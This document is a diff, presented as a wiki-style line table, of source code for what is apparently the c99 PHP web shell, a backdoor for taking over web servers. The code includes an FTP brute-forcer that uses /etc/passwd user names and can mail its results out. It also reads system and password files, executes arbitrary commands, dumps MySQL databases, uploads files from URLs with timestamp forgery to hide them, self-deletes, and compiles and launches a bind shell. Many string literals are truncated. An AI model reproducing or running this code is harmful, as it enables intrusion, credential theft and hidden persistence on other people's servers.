+ | if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty"; | ||
+ | if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} | ||
+ | if ((!$submit) or ($sql_act)) {echo "< | ||
+ | } | ||
+ | if (in_array($sql_act, | ||
+ | { | ||
+ | ?>< | ||
+ | if (!empty($sql_act)) {echo "< | ||
+ | if ($sql_act == " | ||
+ | { | ||
+ | echo "< | ||
+ | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"" | ||
+ | } | ||
+ | else {echo " | ||
+ | } | ||
+ | | ||
+ | { | ||
+ | if (empty($submit)) | ||
+ | { | ||
+ | | ||
+ | echo "< | ||
+ | echo "< | ||
+ | $v = join (";", | ||
+ | echo "< | ||
+ | if ($dump_file) {$tmp = $dump_file; | ||
+ | else {$tmp = htmlspecialchars(" | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "</ | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | | ||
+ | $set = array(); | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | if (!empty($dmptbls)) {$set[" | ||
+ | $ret = mysql_dump($set); | ||
+ | if ($sql_dump_download) | ||
+ | { | ||
+ | @ob_clean(); | ||
+ | header(" | ||
+ | header(" | ||
+ | header(" | ||
+ | echo $ret; | ||
+ | exit; | ||
+ | } | ||
+ | | ||
+ | { | ||
+ | $fp = fopen($sql_dump_file," | ||
+ | if (!$fp) {echo "< | ||
+ | else | ||
+ | { | ||
+ | | ||
+ | | ||
+ | echo "< | ||
+ | } | ||
+ | } | ||
+ | else {echo "< | ||
+ | } | ||
+ | } | ||
+ | if ($diplay) | ||
+ | { | ||
+ | if (!empty($sql_tbl)) | ||
+ | { | ||
+ | if (empty($sql_tbl_act)) {$sql_tbl_act = " | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row; | ||
+ | if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} | ||
+ | if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} | ||
+ | if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} | ||
+ | if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} | ||
+ | | ||
+ | if (!is_numeric($perpage)) {$perpage = 10;} | ||
+ | | ||
+ | $e = explode(" | ||
+ | if (count($e) == 2) | ||
+ | { | ||
+ | if ($e[0] == " | ||
+ | else {$asc_desc = " | ||
+ | $v = "ORDER BY `" | ||
+ | } | ||
+ | else {$v = ""; | ||
+ | | ||
+ | | ||
+ | echo "< | ||
+ | echo "<a href=\"" | ||
+ | echo "<a href=\"" | ||
+ | echo "<a href=\"" | ||
+ | echo "<a href=\"" | ||
+ | if ($sql_tbl_act == " | ||
+ | if ($sql_tbl_act == " | ||
+ | { | ||
+ | if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} | ||
+ | if (!empty($sql_tbl_insert_radio)) | ||
+ | { | ||
+ | |||
+ | } | ||
+ | else | ||
+ | { | ||
+ | echo "< | ||
+ | if (!empty($sql_tbl_insert_q)) | ||
+ | { | ||
+ | $sql_query = " | ||
+ | $sql_query .= " WHERE" | ||
+ | $sql_query .= " LIMIT 1;"; | ||
+ | $result = mysql_query($sql_query, | ||
+ | $values = mysql_fetch_assoc($result); | ||
+ | mysql_free_result($result); | ||
+ | } | ||
+ | else {$values = array();} | ||
+ | echo "< | ||
+ | | ||
+ | { | ||
+ | $name = $field[" | ||
+ | if (empty($sql_tbl_insert_q)) {$v = ""; | ||
+ | echo "< | ||
+ | $i++; | ||
+ | } | ||
+ | echo "</ | ||
+ | echo "< | ||
+ | if (!empty($sql_tbl_insert_q)) {echo " or <input type=\" | ||
+ | echo "< | ||
+ | } | ||
+ | } | ||
+ | if ($sql_tbl_act == " | ||
+ | { | ||
+ | $sql_tbl_ls = abs($sql_tbl_ls); | ||
+ | $sql_tbl_le = abs($sql_tbl_le); | ||
+ | echo "< | ||
+ | echo "< | ||
+ | $b = 0; | ||
+ | for($i=0; | ||
+ | { | ||
+ | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"" | ||
+ | echo $i; | ||
+ | if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</ | ||
+ | if (($i/30 == round($i/ | ||
+ | else {echo "& | ||
+ | } | ||
+ | if ($i == 0) {echo " | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | for ($i=0; | ||
+ | { | ||
+ | $v = mysql_field_name($result, | ||
+ | if ($e[0] == " | ||
+ | else {$s = " | ||
+ | echo "< | ||
+ | if (empty($e[0])) {$e[0] = " | ||
+ | if ($e[1] != $v) {echo "<a href=\"" | ||
+ | else {echo "< | ||
+ | echo "</ | ||
+ | } | ||
+ | echo "< | ||
+ | echo "</ | ||
+ | while ($row = mysql_fetch_array($result, | ||
+ | { | ||
+ | echo "< | ||
+ | $w = ""; | ||
+ | $i = 0; | ||
+ | | ||
+ | if (count($row) > 0) {$w = substr($w, | ||
+ | echo "< | ||
+ | $i = 0; | ||
+ | | ||
+ | { | ||
+ | $v = htmlspecialchars($v); | ||
+ | if ($v == "" | ||
+ | echo "< | ||
+ | $i++; | ||
+ | } | ||
+ | echo "< | ||
+ | echo "<a href=\"" | ||
+ | echo "<a href=\"" | ||
+ | echo "</ | ||
+ | echo "</ | ||
+ | } | ||
+ | mysql_free_result($result); | ||
+ | echo "</ | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "</ | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | | ||
+ | if (!$result) {echo mysql_smarterror(); | ||
+ | else | ||
+ | { | ||
+ | echo "< | ||
+ | $i = 0; | ||
+ | $tsize = $trows = 0; | ||
+ | while ($row = mysql_fetch_array($result, | ||
+ | { | ||
+ | | ||
+ | | ||
+ | $size = view_size($row[" | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "</ | ||
+ | $i++; | ||
+ | } | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "</ | ||
+ | echo "</ | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "</ | ||
+ | mysql_free_result($result); | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | $acts = array(""," | ||
+ | if (in_array($sql_act, | ||
+ | if (!empty($sql_act)) | ||
+ | { | ||
+ | echo "< | ||
+ | if ($sql_act == " | ||
+ | { | ||
+ | echo "< | ||
+ | if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"" | ||
+ | else {echo " | ||
+ | } | ||
+ | if ($sql_act == " | ||
+ | { | ||
+ | | ||
+ | echo "< | ||
+ | echo "< | ||
+ | while ($row = mysql_fetch_array($result, | ||
+ | echo "</ | ||
+ | | ||
+ | } | ||
+ | if ($sql_act == " | ||
+ | { | ||
+ | | ||
+ | echo "< | ||
+ | echo "< | ||
+ | while ($row = mysql_fetch_array($result, | ||
+ | echo "</ | ||
+ | | ||
+ | } | ||
+ | if ($sql_act == " | ||
+ | { | ||
+ | if (!empty($kill)) {$query = "KILL " | ||
+ | | ||
+ | echo "< | ||
+ | echo "< | ||
+ | while ($row = mysql_fetch_array($result, | ||
+ | echo "</ | ||
+ | | ||
+ | } | ||
+ | if ($sql_act == " | ||
+ | { | ||
+ | | ||
+ | | ||
+ | if (!$select) {mysql_create_db($tmpdb); | ||
+ | if ($select) | ||
+ | { | ||
+ | $created = false; | ||
+ | mysql_query(" | ||
+ | mysql_query(" | ||
+ | $result = mysql_query(" | ||
+ | if (!$result) {echo "< | ||
+ | else | ||
+ | { | ||
+ | for ($i=0; | ||
+ | $f = ""; | ||
+ | while ($row = mysql_fetch_array($result, | ||
+ | if (empty($f)) {echo "< | ||
+ | else {echo "< | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | echo "</ | ||
+ | if ($sql_sock) | ||
+ | { | ||
+ | $affected = @mysql_affected_rows($sql_sock); | ||
+ | if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} | ||
+ | echo "< | ||
+ | } | ||
+ | echo "</ | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | if ($mkdir != $d) | ||
+ | { | ||
+ | if (file_exists($mkdir)) {echo "< | ||
+ | elseif (!mkdir($mkdir)) {echo "< | ||
+ | echo "< | ||
+ | } | ||
+ | $act = $dspact = " | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | echo "< | ||
+ | if (!win) {echo "This functions not work in Windows!< | ||
+ | else | ||
+ | { | ||
+ | function c99ftpbrutecheck($host, | ||
+ | { | ||
+ | if ($fqb_onlywithsh) {$true = (!in_array($sh, | ||
+ | else {$true = true;} | ||
+ | if ($true) | ||
+ | { | ||
+ | $sock = @ftp_connect($host, | ||
+ | if (@ftp_login($sock, | ||
+ | { | ||
+ | echo "<a href=\" | ||
+ | | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | if (!empty($submit)) | ||
+ | { | ||
+ | if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage; | ||
+ | $fp = fopen("/ | ||
+ | if (!$fp) {echo " | ||
+ | else | ||
+ | { | ||
+ | if ($fqb_logging) | ||
+ | { | ||
+ | if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile," | ||
+ | else {$fqb_logfp = false;} | ||
+ | | ||
+ | if ($fqb_logfile) {fwrite($fqb_logfp, | ||
+ | } | ||
+ | ob_flush(); | ||
+ | $i = $success = 0; | ||
+ | $ftpquick_st = getmicrotime(); | ||
+ | while(!feof($fp)) | ||
+ | { | ||
+ | $str = explode(":", | ||
+ | if (c99ftpbrutecheck(" | ||
+ | { | ||
+ | echo "< | ||
+ | $fqb_log .= " | ||
+ | if ($fqb_logfp) {fseek($fqb_logfp, | ||
+ | $success++; | ||
+ | ob_flush(); | ||
+ | } | ||
+ | if ($i > $fqb_lenght) {break;} | ||
+ | $i++; | ||
+ | } | ||
+ | if ($success == 0) {echo "No success. connections!"; | ||
+ | $ftpquick_t = round(getmicrotime()-$ftpquick_st, | ||
+ | echo "< | ||
+ | $fqb_log .= " | ||
+ | if ($fqb_logfp) {fseek($fqb_logfp, | ||
+ | if ($fqb_logemail) {@mail($fqb_logemail," | ||
+ | fclose($fqb_logfp); | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | | ||
+ | | ||
+ | echo "< | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | if (!is_dir($d)) {echo "< | ||
+ | else | ||
+ | { | ||
+ | echo "< | ||
+ | if (!$win) | ||
+ | { | ||
+ | echo "< | ||
+ | $tmp = posix_getpwuid(fileowner($d)); | ||
+ | if ($tmp[" | ||
+ | else {echo $tmp[" | ||
+ | $tmp = posix_getgrgid(filegroup($d)); | ||
+ | if ($tmp[" | ||
+ | else {echo $tmp[" | ||
+ | } | ||
+ | echo "< | ||
+ | } | ||
+ | } | ||
+ | if ($act == " | ||
+ | if ($act == " | ||
+ | { | ||
+ | echo "< | ||
+ | if (!$win) | ||
+ | { | ||
+ | if ($nixpasswd) | ||
+ | { | ||
+ | if ($nixpasswd == 1) {$nixpasswd = 0;} | ||
+ | echo "< | ||
+ | if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} | ||
+ | if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage; | ||
+ | echo "< | ||
+ | $i = $nixpwd_s; | ||
+ | while ($i < $nixpwd_e) | ||
+ | { | ||
+ | $uid = posix_getpwuid($i); | ||
+ | if ($uid) | ||
+ | { | ||
+ | | ||
+ | echo join(":", | ||
+ | } | ||
+ | $i++; | ||
+ | } | ||
+ | } | ||
+ | else {echo "< | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | $v = $_SERVER[" | ||
+ | if (file_get_contents($v)) {echo "< | ||
+ | else {echo "< | ||
+ | } | ||
+ | if (file_get_contents("/ | ||
+ | if (file_get_contents("/ | ||
+ | if (file_get_contents("/ | ||
+ | if (file_get_contents("/ | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | if ($mkfile != $d) | ||
+ | { | ||
+ | if (file_exists($mkfile)) {echo "< | ||
+ | elseif (!fopen($mkfile," | ||
+ | else {$act = " | ||
+ | } | ||
+ | else {$act = $dspact = " | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | echo "< | ||
+ | | ||
+ | { | ||
+ | echo $v." - <input type=text size=50 onFocus=\" | ||
+ | } | ||
+ | echo "</ | ||
+ | < | ||
+ | < | ||
+ | echo "< | ||
+ | if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "< | ||
+ | else | ||
+ | { | ||
+ | $debase64 = base64_decode($encoder_input); | ||
+ | $debase64 = str_replace(" | ||
+ | $a = explode(" | ||
+ | $rows = count($a); | ||
+ | $debase64 = htmlspecialchars($debase64); | ||
+ | if ($rows == 1) {echo "< | ||
+ | else {$rows++; echo "< | ||
+ | echo "& | ||
+ | } | ||
+ | echo "</ | ||
+ | $c = strlen($encoder_input); | ||
+ | | ||
+ | { | ||
+ | $hex = dechex(ord($encoder_input[$i])); | ||
+ | if ($encoder_input[$i] == "&" | ||
+ | elseif ($encoder_input[$i] != " | ||
+ | } | ||
+ | echo " | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | | ||
+ | | ||
+ | $arr = array_merge($arr_copy, | ||
+ | if (count($arr) == 0) {echo "< | ||
+ | else {echo "< | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | if (($submit == $rndcode) and ($submit != "" | ||
+ | { | ||
+ | if (unlink(__FILE__)) {@ob_clean(); | ||
+ | else {echo "< | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if (!empty($rndcode)) {echo "< | ||
+ | $rnd = rand(0, | ||
+ | echo "< | ||
+ | } | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | | ||
+ | if (!empty($submit)) | ||
+ | { | ||
+ | $ticket = substr(md5(microtime()+rand(1, | ||
+ | $body = " | ||
+ | if (!empty($fdbk_ref)) | ||
+ | { | ||
+ | $tmp = @ob_get_contents(); | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | echo $tmp; | ||
+ | $body .= " | ||
+ | } | ||
+ | mail($suppmail," | ||
+ | echo "< | ||
+ | } | ||
+ | else {echo "< | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | echo "< | ||
+ | if (empty($search_in)) {$search_in = $d;} | ||
+ | if (empty($search_name)) {$search_name = " | ||
+ | if (empty($search_text_wwo)) {$search_text_regexp = 0;} | ||
+ | if (!empty($submit)) | ||
+ | { | ||
+ | $found = array(); | ||
+ | $found_d = 0; | ||
+ | $found_f = 0; | ||
+ | $search_i_f = 0; | ||
+ | $search_i_d = 0; | ||
+ | $a = array | ||
+ | ( | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | ); | ||
+ | $searchtime = getmicrotime(); | ||
+ | $in = array_unique(explode(";", | ||
+ | foreach($in as $v) {c99fsearch($v); | ||
+ | $searchtime = round(getmicrotime()-$searchtime, | ||
+ | if (count($found) == 0) {echo "< | ||
+ | else | ||
+ | { | ||
+ | | ||
+ | | ||
+ | $act = " | ||
+ | } | ||
+ | } | ||
+ | echo "< | ||
+ | <input type=\" | ||
+ | < | ||
+ | < | ||
+ | < | ||
+ | < | ||
+ | & | ||
+ | & | ||
+ | & | ||
+ | < | ||
+ | if ($act == " | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | $mode = fileperms($d.$f); | ||
+ | if (!$mode) {echo "< | ||
+ | else | ||
+ | { | ||
+ | $form = true; | ||
+ | if ($chmod_submit) | ||
+ | { | ||
+ | | ||
+ | if (chmod($d.$f, | ||
+ | else {$err = " | ||
+ | } | ||
+ | if ($form) | ||
+ | { | ||
+ | | ||
+ | echo "< | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | | ||
+ | | ||
+ | if (empty($uploadpath)) {$uploadpath = $d;} | ||
+ | | ||
+ | if (!empty($submit)) | ||
+ | { | ||
+ | global $HTTP_POST_FILES; | ||
+ | $uploadfile = $HTTP_POST_FILES[" | ||
+ | if (!empty($uploadfile[" | ||
+ | { | ||
+ | if (empty($uploadfilename)) {$destin = $uploadfile[" | ||
+ | else {$destin = $userfilename; | ||
+ | if (!move_uploaded_file($uploadfile[" | ||
+ | } | ||
+ | elseif (!empty($uploadurl)) | ||
+ | { | ||
+ | if (!empty($uploadfilename)) {$destin = $uploadfilename; | ||
+ | else | ||
+ | { | ||
+ | $destin = explode("/", | ||
+ | $destin = $destin[count($destin)-1]; | ||
+ | if (empty($destin)) | ||
+ | { | ||
+ | $i = 0; | ||
+ | $b = ""; | ||
+ | | ||
+ | } | ||
+ | if ((!eregi(" | ||
+ | else | ||
+ | { | ||
+ | $st = getmicrotime(); | ||
+ | $content = @file_get_contents($uploadurl); | ||
+ | $dt = round(getmicrotime()-$st, | ||
+ | if (!$content) {$uploadmess .= " | ||
+ | else | ||
+ | { | ||
+ | if ($filestealth) {$stat = stat($uploadpath.$destin); | ||
+ | $fp = fopen($uploadpath.$destin," | ||
+ | if (!$fp) {$uploadmess .= "Error writing to file " | ||
+ | else | ||
+ | { | ||
+ | fwrite($fp, | ||
+ | fclose($fp); | ||
+ | if ($filestealth) {touch($uploadpath.$destin, | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | if ($miniform) | ||
+ | { | ||
+ | echo "< | ||
+ | $act = " | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | echo "< | ||
+ | Select file on your local computer: <input name=\" | ||
+ | Input URL: <input name=\" | ||
+ | Save this file dir: <input name=\" | ||
+ | File-name (auto-fill): | ||
+ | <input type=checkbox name=uploadautoname value=1 id=df4>& | ||
+ | <input type=\" | ||
+ | </ | ||
+ | } | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | | ||
+ | | ||
+ | { | ||
+ | $result = false; | ||
+ | $result = fs_rmobj($v); | ||
+ | if (!$result) {$delerr .= " | ||
+ | } | ||
+ | if (!empty($delerr)) {echo "< | ||
+ | $act = " | ||
+ | } | ||
+ | if (!$usefsbuff) | ||
+ | { | ||
+ | if (($act == " | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if ($act == " | ||
+ | | ||
+ | | ||
+ | if ($actemptybuff) {$sess_data[" | ||
+ | | ||
+ | { | ||
+ | $psterr = ""; | ||
+ | foreach($sess_data[" | ||
+ | { | ||
+ | $to = $d.basename($v); | ||
+ | if (!fs_copy_obj($v, | ||
+ | if ($copy_unset) {unset($sess_data[" | ||
+ | } | ||
+ | foreach($sess_data[" | ||
+ | { | ||
+ | $to = $d.basename($v); | ||
+ | if (!fs_move_obj($v, | ||
+ | | ||
+ | } | ||
+ | c99_sess_put($sess_data); | ||
+ | if (!empty($psterr)) {echo "< | ||
+ | $act = " | ||
+ | } | ||
+ | | ||
+ | { | ||
+ | $arcerr = ""; | ||
+ | if (substr($actarcbuff_path, | ||
+ | else {$ext = " | ||
+ | if ($ext == " | ||
+ | $cmdline .= " " | ||
+ | $objects = array_merge($sess_data[" | ||
+ | foreach($objects as $v) | ||
+ | { | ||
+ | $v = str_replace(" | ||
+ | if (substr($v, | ||
+ | if (is_dir($v)) | ||
+ | { | ||
+ | if (substr($v, | ||
+ | $v .= " | ||
+ | } | ||
+ | | ||
+ | } | ||
+ | $tmp = realpath(" | ||
+ | chdir($d); | ||
+ | $ret = myshellexec($cmdline); | ||
+ | chdir($tmp); | ||
+ | if (empty($ret)) {$arcerr .= " | ||
+ | $ret = str_replace(" | ||
+ | $ret = explode(" | ||
+ | if ($copy_unset) {foreach($sess_data[" | ||
+ | foreach($sess_data[" | ||
+ | { | ||
+ | if (in_array($v, | ||
+ | | ||
+ | } | ||
+ | c99_sess_put($sess_data); | ||
+ | if (!empty($arcerr)) {echo "< | ||
+ | $act = " | ||
+ | } | ||
+ | | ||
+ | { | ||
+ | $psterr = ""; | ||
+ | foreach($sess_data[" | ||
+ | { | ||
+ | $to = $d.basename($v); | ||
+ | if (!fs_copy_obj($v, | ||
+ | if ($copy_unset) {unset($sess_data[" | ||
+ | } | ||
+ | foreach($sess_data[" | ||
+ | { | ||
+ | $to = $d.basename($v); | ||
+ | if (!fs_move_obj($v, | ||
+ | | ||
+ | } | ||
+ | c99_sess_put($sess_data); | ||
+ | if (!empty($psterr)) {echo "< | ||
+ | $act = " | ||
+ | } | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | if (trim($cmd) == "ps -aux") {$act = " | ||
+ | else | ||
+ | { | ||
+ | | ||
+ | if (!empty($submit)) | ||
+ | { | ||
+ | echo "< | ||
+ | $olddir = realpath(" | ||
+ | @chdir($d); | ||
+ | $ret = myshellexec($cmd); | ||
+ | $ret = convert_cyr_string($ret," | ||
+ | if ($cmd_txt) | ||
+ | { | ||
+ | $rows = count(explode(" | ||
+ | if ($rows < 10) {$rows = 10;} | ||
+ | echo "< | ||
+ | } | ||
+ | else {echo $ret."< | ||
+ | @chdir($olddir); | ||
+ | } | ||
+ | else {echo "< | ||
+ | echo "< | ||
+ | } | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | if (count($ls_arr) > 0) {$list = $ls_arr;} | ||
+ | else | ||
+ | { | ||
+ | $list = array(); | ||
+ | if ($h = @opendir($d)) | ||
+ | { | ||
+ | while (($o = readdir($h)) !== false) {$list[] = $d.$o;} | ||
+ | | ||
+ | } | ||
+ | } | ||
+ | if (count($list) == 0) {echo "< | ||
+ | else | ||
+ | { | ||
+ | //Building array | ||
+ | $objects = array(); | ||
+ | $vd = " | ||
+ | if ($vd == " | ||
+ | { | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | { | ||
+ | $o = basename($v); | ||
+ | $row = array(); | ||
+ | if ($o == " | ||
+ | elseif ($o == " | ||
+ | elseif (is_dir($v)) | ||
+ | { | ||
+ | if (is_link($v)) {$type = " | ||
+ | else {$type = " | ||
+ | | ||
+ | | ||
+ | } | ||
+ | elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v); | ||
+ | $row[] = filemtime($v); | ||
+ | if (!$win) | ||
+ | { | ||
+ | $ow = @posix_getpwuid(fileowner($v)); | ||
+ | $gr = @posix_getgrgid(filegroup($v)); | ||
+ | | ||
+ | | ||
+ | } | ||
+ | $row[] = fileperms($v); | ||
+ | if (($o == " | ||
+ | elseif (is_link($v)) {$objects[" | ||
+ | elseif (is_dir($v)) {$objects[" | ||
+ | elseif (is_file($v)) {$objects[" | ||
+ | } | ||
+ | $row = array(); | ||
+ | | ||
+ | | ||
+ | | ||
+ | if (!$win) | ||
+ | {$row[] = "< | ||
+ | | ||
+ | | ||
+ | $k = $sort[0]; | ||
+ | if (!is_numeric($k)) {$k = $sort[0] = 0;} | ||
+ | if ($sort[1] != " | ||
+ | $y = "<a href=\"" | ||
+ | $y .= "< | ||
+ | | ||
+ | | ||
+ | { | ||
+ | if ($i != $k) {$row[$i] = "<a href=\"" | ||
+ | } | ||
+ | $v = $sort[0]; | ||
+ | | ||
+ | | ||
+ | | ||
+ | if ($sort[1] == " | ||
+ | { | ||
+ | $objects[" | ||
+ | $objects[" | ||
+ | } | ||
+ | | ||
+ | $tab = array(); | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | { | ||
+ | $v = $a[0]; | ||
+ | $o = basename($v); | ||
+ | $dir = dirname($v); | ||
+ | if ($disp_fullpath) {$disppath = $v;} | ||
+ | else {$disppath = $o;} | ||
+ | $disppath = str2mini($disppath, | ||
+ | if (in_array($v, | ||
+ | elseif (in_array($v, | ||
+ | foreach ($regxp_highlight as $r) | ||
+ | { | ||
+ | if (ereg($r[0], | ||
+ | { | ||
+ | if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo " | ||
+ | else | ||
+ | { | ||
+ | $r[1] = round($r[1]); | ||
+ | | ||
+ | if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) | ||
+ | { | ||
+ | if (empty($r[2])) {$r[2] = "< | ||
+ | $disppath = $r[2].$disppath.$r[3]; | ||
+ | if ($r[4]) {break;} | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | $uo = urlencode($o); | ||
+ | $ud = urlencode($dir); | ||
+ | $uv = urlencode($v); | ||
+ | $row = array(); | ||
+ | if ($o == " | ||
+ | { | ||
+ | | ||
+ | | ||
+ | } | ||
+ | elseif ($o == " | ||
+ | { | ||
+ | | ||
+ | | ||
+ | } | ||
+ | elseif (is_dir($v)) | ||
+ | { | ||
+ | if (is_link($v)) | ||
+ | { | ||
+ | $disppath .= " => " | ||
+ | $type = " | ||
+ | $row[] = "< | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | $type = " | ||
+ | $row[] = "< | ||
+ | } | ||
+ | | ||
+ | } | ||
+ | elseif(is_file($v)) | ||
+ | { | ||
+ | $ext = explode(" | ||
+ | $c = count($ext)-1; | ||
+ | $ext = $ext[$c]; | ||
+ | $ext = strtolower($ext); | ||
+ | | ||
+ | | ||
+ | } | ||
+ | $row[] = date(" | ||
+ | if (!$win) {$row[] = $a[3];} | ||
+ | $row[] = "<a href=\"" | ||
+ | if (is_dir($v)) {$row[] = "<a href=\"" | ||
+ | else {$row[] = "<a href=\"" | ||
+ | if (($o == " | ||
+ | elseif (is_link($v)) {$tab[" | ||
+ | elseif (is_dir($v)) {$tab[" | ||
+ | elseif (is_file($v)) {$tab[" | ||
+ | } | ||
+ | } | ||
+ | //Compiling table | ||
+ | $table = array_merge($tab[" | ||
+ | echo "< | ||
+ | foreach($table as $row) | ||
+ | { | ||
+ | echo "< | ||
+ | | ||
+ | echo "</ | ||
+ | } | ||
+ | echo "</ | ||
+ | if (count(array_merge($sess_data[" | ||
+ | { | ||
+ | echo "< | ||
+ | } | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | if ($usefsbuff) | ||
+ | { | ||
+ | echo "< | ||
+ | echo "< | ||
+ | echo "< | ||
+ | } | ||
+ | echo "</ | ||
+ | echo "</ | ||
+ | } | ||
+ | } | ||
+ | if ($act == " | ||
+ | { | ||
+ | | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | " | ||
+ | ); | ||
+ | | ||
+ | " | ||
+ | " | ||
+ | ); | ||
+ | | ||
+ | " | ||
+ | " | ||
+ | ); | ||
+ | if ($win) {echo "< | ||
+ | else | ||
+ | { | ||
+ | if (!is_array($bind)) {$bind = array();} | ||
+ | if (!is_array($bc)) {$bc = array();} | ||
+ | if (!is_numeric($bind[" | ||
+ | if (empty($bind[" | ||
+ | if (empty($bc[" | ||
+ | if (!is_numeric($bc[" | ||
+ | if (!empty($bindsubmit)) | ||
+ | { | ||
+ | echo "< | ||
+ | $v = $bndportsrcs[$bind[" | ||
+ | if (empty($v)) {echo " | ||
+ | | ||
+ | else | ||
+ | { | ||
+ | $srcpath = $tmpdir.$bind[" | ||
+ | $w = explode(" | ||
+ | $ext = $w[count($w)-1]; | ||
+ | unset($w[count($w)-1]); | ||
+ | $binpath = $tmpdir.join(" | ||
+ | if ($ext == " | ||
+ | @unlink($srcpath); | ||
+ | $fp = fopen($srcpath," | ||
+ | if (!$fp) {echo " | ||
+ | else | ||
+ | { | ||
+ | $data = base64_decode($bndsrcs[$bind[" | ||
+ | | ||
+ | | ||
+ | if ($ext == " | ||
+ | $v[1] = str_replace(" | ||
+ | $v[1] = str_replace(" | ||
+ | $v[1] = str_replace(" | ||
+ | $v[1] = str_replace("//","/", | ||
+ | | ||
+ | | ||
+ | $sock = fsockopen(" | ||
+ | if (!$sock) {echo "I can't connect to localhost:" | ||
+ | else {echo " | ||
+ | } | ||
+ | echo "< | ||
+ | } | ||
+ | } | ||
